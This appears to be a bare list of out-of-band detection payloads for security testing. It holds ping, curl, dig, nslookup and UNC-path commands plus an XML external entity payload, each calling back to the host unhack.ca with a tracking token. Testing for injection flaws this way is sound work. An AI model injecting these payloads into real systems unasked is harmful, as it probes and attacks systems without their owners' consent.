$ ping -c1 -p 00a3732388e00afdb778f31d8391a800 unhack.ca
 

$ curl http://unhack.ca/p/a3732388e00afdb778f31d8391a8
 

$ dig a3732388e00afdb778f31d8391a8 @unhack.ca
 

$ dig a3732388e00afdb778f31d8391a8.ns.unhack.ca
 

C:\> nslookup a3732388e00afdb778f31d8391a8 unhack.ca
 

C:\> type \\unhack.ca\a3732388e00afdb778f31d8391a8\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a3732388e00afdb778f31d8391a8">]>
    <foo>&xxe;</foo>